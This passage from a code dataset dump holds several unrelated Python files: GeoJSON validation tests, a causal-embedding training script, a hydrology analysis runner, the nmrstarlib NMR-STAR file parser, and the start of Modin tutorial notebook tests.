2]]}, \"properties\": {}},\n \"Found type 'Polygonnnnn', but expects one of \",\n ),\n ({\"type\": \"FeatureCollection\"}, \"No 'features' field (type 'FeatureCollection')\"),\n ({\"type\": \"FeatureCollection\", \"features\": []}, None),\n ({\"type\": \"FeatureCollection\", \"features\": [{\"type\": \"Feature\"}]}, \"No 'geometry' field (type 'Feature')\"),\n (\n {\"type\": \"FeatureCollection\", \"features\": [{\"type\": \"Feature\", \"geometry\": {}}]},\n \"No 'properties' field (type 'Feature')\",\n ),\n (\n {\"type\": \"FeatureCollection\", \"features\": [{\"type\": \"Feature\", \"geometry\": {}, \"properties\": {}}]},\n \"No 'type' field\",\n ),\n (\n {\n \"type\": \"FeatureCollection\",\n \"features\": [{\"type\": \"Feature\", \"geometry\": {\"type\": \"Polygon\"}, \"properties\": {}}],\n },\n \"No 'coordinates' field (type 'Polygon')\",\n ),\n (\n {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\"type\": \"Feature\", \"geometry\": {\"type\": \"Polygon\", \"coordinates\": [[1, 2]]}, \"properties\": {}},\n {\"type\": \"Feature\", \"geometry\": {\"type\": \"Polygon\", \"coordinates\": [[3, 4]]}, \"properties\": {}},\n ],\n },\n None,\n ),\n ],\n )\n @pytest.mark.parametrize(\"raise_exception\", [False, True])\n def test_validate_geojson_basic(self, value, expected_issue, raise_exception):\n with self._checker(expected_issue=expected_issue, raise_exception=raise_exception) as check:\n result = validate_geojson_basic(value, raise_exception=raise_exception)\n check(result)\n\n @pytest.mark.parametrize(\n [\"value\", \"allowed_types\", \"expected_issue\"],\n [\n (\n {\"type\": \"Point\", \"coordinates\": [1, 2]},\n {\"Polygon\", \"MultiPolygon\"},\n \"Found type 'Point', but expects one of ['MultiPolygon', 'Polygon']\",\n ),\n ({\"type\": \"Polygon\", \"coordinates\": [[1, 2]]}, {\"Polygon\", \"MultiPolygon\"}, None),\n ({\"type\": \"MultiPolygon\", \"coordinates\": [[[1, 2]]]}, {\"Polygon\", \"MultiPolygon\"}, None),\n (\n {\"type\": \"Feature\", \"geometry\": {\"type\": \"Polygon\", \"coordinates\": [[1, 2]]}, \"properties\": {}},\n {\"Polygon\", \"MultiPolygon\"},\n \"Found type 'Feature', but expects one of ['MultiPolygon', 'Polygon']\",\n ),\n (\n {\"type\": \"Feature\", \"geometry\": {\"type\": \"Polygon\", \"coordinates\": [[1, 2]]}, \"properties\": {}},\n {\"Feature\"},\n None,\n ),\n (\n {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\"type\": \"Feature\", \"geometry\": {\"type\": \"Polygon\", \"coordinates\": [[1, 2]]}, \"properties\": {}},\n {\"type\": \"Feature\", \"geometry\": {\"type\": \"Polygon\", \"coordinates\": [[3, 4]]}, \"properties\": {}},\n ],\n },\n {\"Polygon\", \"MultiPolygon\"},\n \"Found type 'FeatureCollection', but expects one of ['MultiPolygon', 'Polygon']\",\n ),\n (\n {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\"type\": \"Feature\", \"geometry\": {\"type\": \"Polygon\", \"coordinates\": [[1, 2]]}, \"properties\": {}},\n {\"type\": \"Feature\", \"geometry\": {\"type\": \"Polygon\", \"coordinates\": [[3, 4]]}, \"properties\": {}},\n ],\n },\n {\"FeatureCollection\"},\n None,\n ),\n ],\n )\n @pytest.mark.parametrize(\n \"raise_exception\",\n [\n False,\n True,\n ],\n )\n def test_validate_geojson_basic_allowed_types(self, value, allowed_types, expected_issue, raise_exception):\n with self._checker(expected_issue=expected_issue, raise_exception=raise_exception) as check:\n result = validate_geojson_basic(value, allowed_types=allowed_types, raise_exception=raise_exception)\n check(result)\n","sub_path":"tests/util/test_geometry.py","file_name":"test_geometry.py","file_ext":"py","file_size_in_byte":33816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"413979373","text":"import sys\nfrom causality.tools import project_source_path\nfrom causality.causalvec.models.crossentropy.ceatt import AttData, AttModel\nfrom causality.causalvec.models.crossentropy.cemax import MaxData, MaxModel\nfrom causality.causalvec.models.crossentropy.cepw import PWData, PairWise\n\n\ndef train_model(model, data_path, cause_path, effect_path, batch_size, num_samples,\n num_epochs, embedding_size, min_count, learning_rate, sample_neg_randomly):\n if cause_path == '' or effect_path == '':\n print('both cause and effect model path can not be null')\n exit(1)\n assert model in ['max', 'att', 'pw']\n if model == 'max':\n causalVec = MaxModel(\n embedding_size=embedding_size, batch_size=batch_size, num_epochs=num_epochs,\n learning_rate=learning_rate, num_samples=num_samples, data_loader=MaxData(sample_neg_randomly, num_samples)\n )\n elif model == 'att':\n causalVec = AttModel(\n embedding_size=embedding_size, batch_size=batch_size, num_epochs=num_epochs,\n num_samples=num_samples, learning_rate=learning_rate, data_loader=AttData(sample_neg_randomly, num_samples)\n )\n else:\n\n causalVec = PairWise(\n embedding_size=embedding_size, batch_size=batch_size, num_epochs=num_epochs,\n num_samples=num_samples, learning_rate=learning_rate, data_loader=AttData(sample_neg_randomly, num_samples)\n )\n causalVec.load_data(data_path=data_path, min_count=min_count)\n causalVec.construct_graph()\n causalVec.train_stage(cause_output_path=cause_path, effect_output_path=effect_path)\n print('train stage is over!')\n\n\nif __name__ == '__main__':\n\n params = {\n 'data_path': {\n 'pos_path': project_source_path + 'cross/bk_positives.txt',\n 'neg_path': project_source_path + 'cross/bk_negatives.txt',\n 'labeled_path': project_source_path + 'cross/sg_eva.txt'\n },\n 'model': 'pw',\n 'batch_size': 256,\n 'num_epochs': 253,\n 'embedding_size': 200,\n 'learning_rate': 0.01,\n 'cause_path': project_source_path + 'temp/bk2sg/pw_sum_cause',\n 'effect_path': project_source_path + 'temp/bk2sg/pw_sum_effect',\n 'min_count': 10,\n 'num_samples': 10,\n 'sample_neg_randomly': True,\n }\n if len(sys.argv) > 1:\n for arg in sys.argv[1:]:\n key = arg.split(\"=\")[0][2:]\n val = arg.split(\"=\")[1]\n params[key] = val\n\n train_model(\n model=params['model'], data_path=params['data_path'], cause_path=params['cause_path'],\n effect_path=params['effect_path'], batch_size=params['batch_size'], num_samples=params['num_samples'],\n num_epochs=params['num_epochs'], embedding_size=params['embedding_size'], min_count=params['min_count'],\n learning_rate=params['learning_rate'], sample_neg_randomly=params['sample_neg_randomly']\n )\n","sub_path":"causalvec/models/crossentropy/cerun.py","file_name":"cerun.py","file_ext":"py","file_size_in_byte":2933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"609379003","text":"import glob\nimport pandas as pd\nimport numpy as np\nfrom utils import import_ffc_data, import_drh_data, make_results_dicts, \\\n create_model_tables, combine_mk_model_stats, gini_index_mk_trends\nfrom trends import calc_mk_trend\nfrom plotting import site_hydrograph, merced_models_hydrograph, plot_mk_bars_gini\nfrom eco_endpoints import eco_endpoints\n\n'''\nMain run file for data processing and visualization associated with the Patterson et al. 2021 publication\n'''\n\n# choose data to process: either 18 western Sierras sites (ca_regional) or Merced River decision scaling\n# data (merced)\nanalysis_type = 'ca_regional'\n# analysis_type = 'merced'\n\nif analysis_type == 'merced':\n model_folders = glob.glob('data_inputs/FFC_results/Merced_models_June2021')\nelif analysis_type == 'ca_regional':\n model_folders = glob.glob('data_inputs/FFC_results/CA_regional_sites/*')\nffc_data_all = []\nrh_data_all = []\nfor folder in model_folders:\n # run with FFC outputs (copy and paste from FFC) to combine results files and convert to useable format. Use natural flow class #3-for regional sites\n ffc_data_model = []\n ffc_data, model_name = import_ffc_data(folder, analysis_type)\n for data in ffc_data:\n data['model_name'] = model_name\n ffc_data_all.append(data)\n if analysis_type == 'ca_regional':\n ffc_data_model.append(data) # use this one for running MK trends, where you need all sites from one model together\n drh_data, rh_data, model_name = import_drh_data(folder, analysis_type)\n for data in rh_data:\n data['model_name'] = model_name\n rh_data_all.append(data)\n if analysis_type == 'ca_regional':\n results_dicts = make_results_dicts(ffc_data)\n mk_trend = calc_mk_trend(ffc_data_model, results_dicts, model_name) \nif analysis_type == 'ca_regional':\n plots = site_hydrograph(ffc_data_all, rh_data_all)\n processing = combine_mk_model_stats()\n barplots = plot_mk_bars_gini()\n result = create_model_tables(ffc_data_all)\nif analysis_type == 'merced':\n eco_endpoints = eco_endpoints(ffc_data_all, rh_data_all)\n plots = merced_models_hydrograph(ffc_data_all, rh_data_all)\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"570669249","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nnmrstarlib.nmrstarlib\n~~~~~~~~~~~~~~~~~~~~~\n\nThis module provides the :class:`~nmrstarlib.nmrstarlib.StarFile` class\nthat stores the data from a single NMR-STAR file in the form of an\n:py:class:`~collections.OrderedDict`. Data can be accessed directly from the\n:class:`~nmrstarlib.nmrstarlib.StarFile` instance using bracket\naccessors.\n\nThe NMR-STAR format is a hierachical dictionary containing data on\nNMR experiments. The data is divided into a series of \"saveframes\"\nwhich each contain a number of key-value pairs and \"loops\".\n\nEach saveframe has a unique name, which is used as the key in\nthe dictionary, corresponding to another dictionary containing the\ninformation in the saveframe. Since loops in NMR-Star format do\nnot have names, the keys for them inside the saveframe dictionary\nare simply loop_0, loop_1, etc.\n\"\"\"\n\nimport sys\nimport os\nimport io\nimport zipfile\nimport bz2\nimport gzip\nimport tarfile\nimport json\nimport urllib.request\nimport urllib.error\nfrom collections import OrderedDict\n\nfrom . import bmrblex\n\n\nBMRB_REST = \"http://rest.bmrb.wisc.edu/bmrb/NMR-STAR3/\"\nVERBOSE = False\nNMRSTAR_VERSION = \"3\"\nNMRSTAR_CONSTANTS = {}\n\n\nclass StarFile(OrderedDict):\n \"\"\"StarFile class that stores the data from a single NMR-STAR file in the form of an\n :py:class:`~collections.OrderedDict`.\"\"\"\n\n def __init__(self, source=\"\", frame_categories=None):\n \"\"\"`StarFile` initializer. Leave `frame_categories` as `None` to\n read everything. Otherwise it can be a list of saveframe\n categories to read, skipping the rest.\n\n :param str source: Source `StarFile` created from: local file or URL address.\n :param list frame_categories: List of saveframe names.\n \"\"\"\n super().__init__(self)\n self.source = source\n self._frame_categories = frame_categories\n self.bmrbid = \"\"\n\n def read(self, filehandle):\n \"\"\"Read data into a :class:`~nmrstarlib.nmrstarlib.StarFile` instance.\n\n :param filehandle: file-like object.\n :type filehandle: :py:class:`io.TextIOWrapper`, :py:class:`gzip.GzipFile`,\n :py:class:`bz2.BZ2File`, :py:class:`zipfile.ZipFile`\n :return: None\n :rtype: None\n \"\"\"\n inputstr = filehandle.read()\n nmrstar_str = self._is_nmrstar(inputstr)\n json_str = self._is_json(inputstr)\n\n if inputstr == \"\" or inputstr == b\"\":\n pass\n elif nmrstar_str:\n lexer = bmrblex.bmrblex(nmrstar_str)\n self._build_starfile(lexer)\n elif json_str:\n self.update(json_str)\n self.bmrbid = self[\"data\"]\n else:\n raise TypeError(\"Unknown file format\")\n filehandle.close()\n\n def write(self, filehandle, fileformat):\n \"\"\"Write :class:`~nmrstarlib.nmrstarlib.StarFile` data into file.\n\n :param filehandle: file-like object.\n :type filehandle: :py:class:`io.TextIOWrapper`\n :param str fileformat: Format to use to write data: `nmrstar` or `json`.\n :return: None\n :rtype: None\n \"\"\"\n try:\n if fileformat == \"json\":\n json_str = self._to_json()\n filehandle.write(json_str)\n elif fileformat == \"nmrstar\":\n nmrstar_str = self._to_nmrstar()\n filehandle.write(nmrstar_str)\n else:\n raise TypeError(\"Unknown file format.\")\n except IOError:\n raise IOError('\"filehandle\" parameter must be writable.')\n filehandle.close()\n\n def writestr(self, fileformat):\n \"\"\"Write :class:`~nmrstarlib.nmrstarlib.StarFile` data into string.\n\n :param str fileformat: Format to use to write data: `nmrstar` or `json`.\n :return: String representing the :class:`~nmrstarlib.nmrstarlib.StarFile` instance.\n :rtype: str\n \"\"\"\n try:\n if fileformat == \"json\":\n json_str = self._to_json()\n return json_str\n elif fileformat == \"nmrstar\":\n nmrstar_str = self._to_nmrstar()\n return nmrstar_str\n else:\n raise TypeError(\"Unknown file format.\")\n except IOError:\n raise IOError('\"filehandle\" parameter must be writable.')\n\n def _build_starfile(self, lexer):\n \"\"\"Build :class:`~nmrstarlib.nmrstarlib.StarFile` object.\n\n :param lexer: instance of the BMRB lexical analyzer class.\n :type lexer: :class:`~nmrstarlib.bmrblex.bmrblex`\n :return: instance of :class:`~nmrstarlib.nmrstarlib.StarFile`.\n :rtype: :class:`~nmrstarlib.nmrstarlib.StarFile`\n \"\"\"\n odict = self\n token = lexer.get_token()\n\n while token != \"\":\n try:\n if token[0:5] == \"save_\":\n # name = token[5:]\n name = token\n frame = self._build_saveframe(lexer)\n if frame:\n odict[name] = frame\n \n elif token[0:5] == \"data_\":\n self.bmrbid = token[5:]\n self[\"data\"] = self.bmrbid\n else:\n # print('{} Error: Invalid token {}'.format(lexer.error_leader(), token), file=sys.stderr)\n print(\"Error: Invalid token {}\".format(token), file=sys.stderr)\n print(\"In _build_starfile try block\", file=sys.stderr) # DEBUG\n # raise InvalidToken(\"{} {}\".format(lexer.error_leader(), token))\n raise InvalidToken(\"{}\".format(token))\n\n except IndexError:\n # print('{} Error: Invalid token {}'.format(lexer.error_leader(), token), file=sys.stderr)\n print(\"Error: Invalid token {}\".format(token), file=sys.stderr)\n print(\"In _build_starfile except block\", file=sys.stderr) # DEBUG\n raise\n finally:\n token = lexer.get_token()\n return self\n\n def _build_saveframe(self, lexer):\n \"\"\"Build NMR-STAR file saveframe.\n\n :param lexer: instance of the BMRB lexical analyzer class.\n :type lexer: :class:`~nmrstarlib.bmrblex.bmrblex`\n :return: Saveframe dictionary.\n :rtype: :py:class:`collections.OrderedDict`\n \"\"\"\n odict = OrderedDict()\n loopcount = 0\n\n token = lexer.get_token()\n while token != \"save_\":\n try:\n if token[0] == \"_\":\n # This strips off the leading underscore of tagnames for readability \n odict[token[1:]] = lexer.get_token()\n\n # Skip the saveframe if it's not in the list of wanted categories\n if self._frame_categories:\n if token == \"_Saveframe_category\" and odict[token[1:]] not in self._frame_categories:\n raise SkipSaveFrame()\n\n elif token == \"loop_\":\n odict[\"loop_{}\".format(loopcount)] = self._build_loop(lexer)\n loopcount += 1\n\n else:\n # print('{} Error: Invalid token {}'.format(lexer.error_leader(), token), file=sys.stderr)\n print(\"Error: Invalid token {}\".format(token), file=sys.stderr)\n print(\"In _build_saveframe try block\", file=sys.stderr) # DEBUG\n # raise InvalidToken(\"{} {}\".format(lexer.error_leader(), token))\n raise InvalidToken(\"{}\".format(token))\n\n except IndexError:\n # print(\"{} Error: Invalid token {}\".format(lexer.error_leader(), token), file=sys.stderr)\n print(\"Error: Invalid token {}\".format(token), file=sys.stderr)\n print(\"In _build_saveframe except block\", file=sys.stderr) # DEBUG\n raise\n except SkipSaveFrame:\n self._skip_saveframe(lexer)\n odict = None\n finally:\n if odict is None:\n token = \"save_\"\n else:\n token = lexer.get_token()\n return odict\n\n def _skip_saveframe(self, lexer):\n \"\"\"Skip entire saveframe - keep emitting tokens until the end of saveframe.\n\n :param lexer: instance of the BMRB lexical analyzer class.\n :type lexer: :class:`~nmrstarlib.bmrblex.bmrblex`\n :return: None\n :rtype: None\n \"\"\"\n token = ''\n while token != 'save_':\n token = lexer.get_token()\n\n def _build_loop(self, lexer):\n \"\"\"Build saveframe loop.\n\n :param lexer: instance of BMRB lexical analyzer class.\n :type lexer: :class:`~nmrstarlib.bmrblex.bmrblex`\n :return: Fields and values of the loop.\n :rtype: tuple\n \"\"\"\n fields = []\n values = []\n\n token = lexer.get_token()\n while token[0] == \"_\":\n fields.append(token[1:])\n token = lexer.get_token()\n\n while token != \"stop_\":\n values.append(token)\n token = lexer.get_token()\n\n assert (len(values)/len(fields)).is_integer(), \\\n \"Error in loop construction: number of fields must be equal to number of values.\"\n\n # divide list of loop values into chunks corresponding to fields\n # values = [values[i:i+len(fields)] for i in range(0, len(values), len(fields))]\n # return fields, values\n\n values = [OrderedDict(zip(fields, values[i:i + len(fields)])) for i in range(0, len(values), len(fields))]\n return fields, values\n\n def print_starfile(self, f=sys.stdout, format=\"nmrstar\", tw=3):\n \"\"\"Print :class:`~nmrstarlib.nmrstarlib.StarFile` into a file or stdout.\n\n :param io.StringIO f: writable file-like stream.\n :param str format: Format to use: `nmrstar` or `json`.\n :param int tw: Tab width.\n :return: None\n :rtype: None\n \"\"\"\n if format is \"nmrstar\":\n for saveframe in self.keys():\n if saveframe == \"data\":\n print(\"{}_{}\\n\".format(saveframe, self[saveframe]), file=f)\n else:\n print(\"{}\".format(saveframe), file=f)\n self.print_saveframe(saveframe, f, format, tw)\n print(\"save_\\n\", file=f)\n\n elif format is \"json\":\n print(self._to_json())\n\n def print_saveframe(self, sf, f=sys.stdout, format=\"nmrstar\", tw=3):\n \"\"\"Print saveframe into a file or stdout.\n We need to keep track of how far over everything is tabbed. The \"tab width\"\n variable tw does this for us.\n\n :param str sf: Saveframe name.\n :param io.StringIO f: writable file-like stream.\n :param str format: Format to use: `nmrstar` or `json`.\n :param int tw: Tab width.\n :return: None\n :rtype: None\n \"\"\"\n if format is \"nmrstar\":\n if sf == \"data\":\n print(\"{}_{}\\n\".format(sf, self[sf]), file=f)\n else:\n for sftag in self[sf].keys():\n # handle the NMR-Star \"long string\"\n if self[sf][sftag][0] == \";\":\n print(tw*\" \", \"_{}\".format(sftag), file=f)\n print(\"{}\".format(self[sf][sftag]), file=f)\n\n # handle loops\n elif sftag[:5] == \"loop_\":\n print(tw*\" \", \"loop_\", file=f)\n self.print_loop(sf, sftag, f, format, tw * 2)\n print(tw*\" \", \"stop_\", file=f)\n else:\n print(tw*\" \", \"_{}\\t {}\".format(sftag, self[sf][sftag]), file=f)\n\n elif format is \"json\":\n print(json.dumps(self[sf], sort_keys=False, indent=4))\n\n def print_loop(self, sf, sftag, f=sys.stdout, format=\"nmrstar\", tw=3):\n \"\"\"Print loop into a file or stdout.\n\n :param str sf: Saveframe name.\n :param str sftag: Saveframe tag, i.e. field name.\n :param io.StringIO f: writable file-like stream.\n :param str format: Format to use: `nmrstar` or `json`.\n :param int tw: Tab width.\n :return: None\n :rtype: None\n \"\"\"\n if format is \"nmrstar\":\n # First print the fields\n for field in self[sf][sftag][0]:\n print(tw*\" \", \"_{}\".format(field), file=f)\n\n # Then print the values\n for valuesdict in self[sf][sftag][1]:\n line = tw*\" \" + \" \".join(valuesdict.values())\n print(line, file=f)\n\n elif format is \"json\":\n print(json.dumps(self[sf][sftag], sort_keys=False, indent=4))\n\n def _to_json(self):\n \"\"\"Save :class:`~nmrstarlib.nmrstarlib.StarFile` into JSON string.\n\n :return: JSON string.\n :rtype: str\n \"\"\"\n return json.dumps(self, sort_keys=False, indent=4)\n\n def _to_nmrstar(self):\n \"\"\"Save :class:`~nmrstarlib.nmrstarlib.StarFile` NMR-STAR format string.\n\n :return: NMR-STAR string.\n :rtype: str\n \"\"\"\n nmrstar_str = io.StringIO()\n self.print_starfile(nmrstar_str)\n return nmrstar_str.getvalue()\n\n @staticmethod\n def _is_nmrstar(string):\n \"\"\"Test if input string is in NMR-STAR format.\n\n :param string: Input string.\n :type string: str or bytes\n :return: Input string if in NMR-STAR format or False otherwise.\n :rtype: str or False\n \"\"\"\n if string[0:5] == \"data_\" or string[0:5] == b\"data_\":\n return string\n return False\n\n @staticmethod\n def _is_json(string):\n \"\"\"Test if input string is in JSON format.\n\n :param string: Input string.\n :type string: str or bytes\n :return: Input string if in JSON format or False otherwise.\n :rtype: str or False\n \"\"\"\n try:\n if isinstance(string, bytes):\n json_str = json.loads(string.decode(\"utf-8\"), object_pairs_hook=OrderedDict)\n elif isinstance(string, str):\n json_str = json.loads(string, object_pairs_hook=OrderedDict)\n else:\n raise TypeError(\"Expecting or , but {} was passed\".format(type(string)))\n return json_str\n except ValueError:\n return False\n\n def chem_shifts_by_residue(self, aminoacids=None, atoms=None, nmrstarversion=\"3\"):\n \"\"\"Organize chemical shifts by amino acid residue.\n\n :param list aminoacids: List of aminoacids three-letter codes.\n :param list atoms: List of BMRB atom type codes.\n :return: List of OrderedDict per each chain\n :rtype: list of OrderedDict\n \"\"\"\n this_directory = os.path.dirname(__file__)\n if nmrstarversion == \"2\":\n config_filepath = os.path.join(this_directory, '../conf/constants_nmrstar2.json')\n elif nmrstarversion == \"3\":\n config_filepath = os.path.join(this_directory, '../conf/constants_nmrstar3.json')\n else:\n config_filepath = os.path.join(this_directory, '../conf/constants_nmrstar3.json')\n with open(config_filepath, \"r\") as infile:\n update_constants(infile)\n\n chemshifts_loop = NMRSTAR_CONSTANTS[\"chemshifts_loop\"]\n aminoacid_seq_id = NMRSTAR_CONSTANTS[\"aminoacid_seq_id\"]\n aminoacid_code = NMRSTAR_CONSTANTS[\"aminoacid_code\"]\n atom_code = NMRSTAR_CONSTANTS[\"atom_code\"]\n chemshift_value = NMRSTAR_CONSTANTS[\"chemshift_value\"]\n\n chains = []\n for saveframe in self:\n if saveframe == \"data\":\n continue\n else:\n for ind in self[saveframe].keys():\n if ind.startswith(\"loop_\"):\n if list(self[saveframe][ind][0]) == chemshifts_loop:\n chemshifts_dict = OrderedDict()\n for entry in self[saveframe][ind][1]:\n residueid = (entry[aminoacid_seq_id], entry[aminoacid_code])\n chemshifts_dict.setdefault(residueid, OrderedDict())\n chemshifts_dict[residueid][entry[atom_code]] = entry[chemshift_value]\n chains.append(chemshifts_dict)\n\n if aminoacids:\n for chemshifts_dict in chains:\n for aa in list(chemshifts_dict.keys()):\n if aa[1].upper() not in aminoacids:\n chemshifts_dict.pop(aa)\n\n if atoms:\n for chemshifts_dict in chains:\n for resonances_dict in chemshifts_dict.values():\n for at in list(resonances_dict.keys()):\n if at.upper() not in atoms:\n resonances_dict.pop(at)\n return chains\n\n\ndef update_constants(filehandle):\n \"\"\"Update constants related to NMR-STAR format, e.g. field names.\n\n :param str filehandle: JSON file that contains information about NMR-STAR format.\n :return: None\n :rtype: None\n \"\"\"\n newconstants = json.loads(filehandle.read())\n NMRSTAR_CONSTANTS.update(newconstants)\n\n\ndef _generate_filenames(sources):\n \"\"\"Generate filenames.\n\n :param list sources: List of strings representing path to file(s).\n :return: Path to file(s).\n :rtype: str\n \"\"\"\n for source in sources:\n if os.path.isdir(source):\n for path, dirlist, filelist in os.walk(source):\n for fname in filelist:\n if GenericFilePath.is_compressed(fname):\n if VERBOSE:\n print(\"Skipping compressed file: {}\".format(os.path.abspath(fname)))\n continue\n else:\n yield os.path.join(path, fname)\n elif os.path.isfile(source):\n yield source\n elif source.isdigit():\n yield BMRB_REST + source\n elif GenericFilePath.is_url(source):\n yield source\n else:\n raise TypeError(\"Unknown file source.\")\n\n\ndef _generate_handles(filenames):\n \"\"\"Open a sequence of filenames one at time producing file objects.\n The file is closed immediately when proceeding to the next iteration.\n\n :param generator filenames: Generator object that yields the path to each file, one at a time.\n :return: Filehandle to be processed into a :class:`~nmrstarlib.nmrstarlib.StarFile` instance.\n \"\"\"\n for fname in filenames:\n if VERBOSE:\n print(\"Processing file: {}\".format(os.path.abspath(fname)))\n path = GenericFilePath(fname)\n for filehandle, source in path.open():\n yield filehandle, source\n filehandle.close()\n\n\ndef read_files(sources):\n \"\"\"Construct a generator that yields :class:`~nmrstarlib.nmrstarlib.StarFile` instances.\n\n :param list sources: List of strings representing path to file(s).\n :return: :class:`~nmrstarlib.nmrstarlib.StarFile` instance(s).\n :rtype: :class:`~nmrstarlib.nmrstarlib.StarFile`\n \"\"\"\n filenames = _generate_filenames(sources)\n filehandles = _generate_handles(filenames)\n for fh, source in filehandles:\n starfile = StarFile(source)\n starfile.read(fh)\n yield starfile\n\n\nclass GenericFilePath(object):\n \"\"\"`GenericFilePath` class knows how to open local files or files over URL.\"\"\"\n\n def __init__(self, path):\n \"\"\"Initialize path.\n\n :param str path: String representing a path to local file(s) or valid URL address of file(s).\n \"\"\"\n self.path = path\n\n def open(self):\n \"\"\"Generator that opens and yields filehandles using appropriate facilities:\n test if path represents a local file or file over URL, if file is compressed\n or not.\n\n :return: Filehandle to be processed into a :class:`~nmrstarlib.nmrstarlib.StarFile` instance.\n \"\"\"\n is_url = self.is_url(self.path)\n compressiontype = self.is_compressed(self.path)\n\n if not compressiontype:\n if is_url:\n filehandle = urllib.request.urlopen(self.path)\n else:\n filehandle = open(self.path, \"r\")\n source = self.path\n yield filehandle, source\n filehandle.close()\n\n elif compressiontype:\n if is_url:\n response = urllib.request.urlopen(self.path)\n path = response.read()\n response.close()\n else:\n path = self.path\n\n if compressiontype == \"zip\":\n ziparchive = zipfile.ZipFile(io.BytesIO(path), \"r\") if is_url else zipfile.ZipFile(path)\n for name in ziparchive.infolist():\n if not name.filename.endswith(\"/\"):\n filehandle = ziparchive.open(name)\n source = self.path + \"/\" + name.filename\n yield filehandle, source\n filehandle.close()\n\n elif compressiontype in (\"tar\", \"tar.bz2\", \"tar.gz\"):\n tararchive = tarfile.open(fileobj=io.BytesIO(path)) if is_url else tarfile.open(path)\n for name in tararchive:\n if name.isfile():\n filehandle = tararchive.extractfile(name)\n source = self.path + \"/\" + name.name\n yield filehandle, source\n filehandle.close()\n\n elif compressiontype == \"bz2\":\n filehandle = bz2.open(io.BytesIO(path)) if is_url else bz2.open(path)\n source = self.path\n yield filehandle, source\n filehandle.close()\n\n elif compressiontype == \"gz\":\n filehandle = gzip.open(io.BytesIO(path)) if is_url else gzip.open(path)\n source = self.path\n yield filehandle, source\n filehandle.close()\n\n @staticmethod\n def is_compressed(path):\n \"\"\"Test if path represents compressed file(s).\n\n :param str path: Path to file(s).\n :return: String specifying compression type if compressed, \"\" otherwise.\n :rtype: str\n \"\"\"\n if path.endswith(\".zip\"):\n return \"zip\"\n elif path.endswith(\".tar.gz\"):\n return \"tar.gz\"\n elif path.endswith(\".tar.bz2\"):\n return \"tar.bz2\"\n elif path.endswith(\".gz\"):\n return \"gz\"\n elif path.endswith(\".bz2\"):\n return \"bz2\"\n elif path.endswith(\".tar\"):\n return \"tar\"\n return \"\"\n\n @staticmethod\n def is_url(path):\n \"\"\"Test if path represents a valid URL.\n\n :param str path: Path to file.\n :return: Valid :py:class:`~urllib.request.Request` object or False otherwise.\n :rtype: :py:class:`~urllib.request.Request` object or False\n \"\"\"\n try:\n return urllib.request.Request(path)\n except ValueError:\n return False\n\n\nclass InvalidToken(Exception):\n def __init__(self, value):\n self.parameter = value\n\n def __str__(self):\n return repr(self.parameter)\n\n\nclass SkipSaveFrame(Exception):\n def __init__(self):\n pass\n\n def __str__(self):\n return 'Skipping save frame'","sub_path":"nmrstarlib/nmrstarlib.py","file_name":"nmrstarlib.py","file_ext":"py","file_size_in_byte":23388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"505939755","text":"# Licensed to Modin Development Team under one or more contributor license agreements.\n# See the NOTICE file distributed with this work for additional information regarding\n# copyright ownership. The Modin Development Team licenses this file to you under the\n# Apache License, Version 2.0 (the \"License\"); you may not use this file except in\n# compliance with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software distributed under\n# the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n# ANY KIND, either express or implied. See the License for the specific language\n# governing permissions and limitations under the License.\n\nimport os\nimport sys\n\nimport nbformat\n\nMODIN_DIR = os.path.abspath(\n os.path.join(os.path.dirname(__file__), *[\"..\" for _ in range(6)])\n)\nsys.path.insert(0, MODIN_DIR)\nfrom examples.tutorial.jupyter.execution.test.utils import ( # noqa: E402\n _replace_str,\n _execute_notebook,\n test_dataset_path,\n download_taxi_dataset,\n set_kernel,\n)\n\n# the kernel name \"python3mpi\" must match the one\n# that is set up in `examples/tutorial/jupyter/execution/pandas_on_unidist/setup_kernel.py`\n# for `Unidist` engine\nset_kernel(kernel_name=\"python3mpi\")\n\nlocal_notebooks_dir = \"examples/tutorial/jupyter/execution/pandas_on_unidist/local\"\n\n\n# in this notebook user should replace 'import pandas as pd' with\n# 'import modin.pandas as pd' to make notebook work\ndef test_exercise_1():\n modified_notebook_path = os.path.join(local_notebooks_dir, \"exercise_1_test.ipynb\")\n nb = nbformat.read(\n os.path.join(local_notebooks_dir, \"exercise_1.ipynb\"),\n as_version=nbformat.NO_CONVERT,\n )\n\n _replace_str(nb, \"import pandas as pd\", \"import modin.pandas as pd\")\n\n nbformat.write(nb, modified_notebook_path)\n _execute_notebook(modified_notebook_path)\n\n\n# this notebook works \"as is\" but for testing purposes we can use smaller dataset\ndef test_exercise_2():\n modified_notebook_path = os.path.join(local_notebooks_dir, \"exercise_2_test.ipynb\")\n nb = nbformat.read(\n os.path.join(local_notebooks_dir, \"exercise_2.ipynb\"),\n as_version=nbformat.NO_CONVERT,\n )\n\n new_cell = f'path = \"{test_dataset_path}\"\\n' + download_taxi_dataset\n\n _replace_str(\n nb,\n 'path = \"s3://dask-data/nyc-taxi/2015/yellow_tripdata_2015-01.csv\"',\n new_cell,\n )\n\n nbformat.write(nb, modified_notebook_path)\n _execute_notebook(modified_notebook_path)\n\n\n# in this notebook user should add custom mad implementation\n# to make notebook work\ndef test_exercise_3():\n modified_notebook_path = os.path.join(local_notebooks_dir, \"exercise_3_test.ipynb\")\n nb = nbformat.read(\n os.path.join(local_notebooks_dir, \"exercise_3.ipynb\"),\n as_version=nbformat.NO_CONVERT,\n )\n\n user_mad_implementation = \"\"\"PandasQueryCompiler.sq_mad_custom = TreeReduce.register(lambda cell_value, **kwargs: cell_value ** 2,\n pandas.DataFrame.mad)\n\ndef sq_mad_func(self, axis=None, skipna=True, level=None, **kwargs):\n if axis is None:\n axis = 0\n\n return 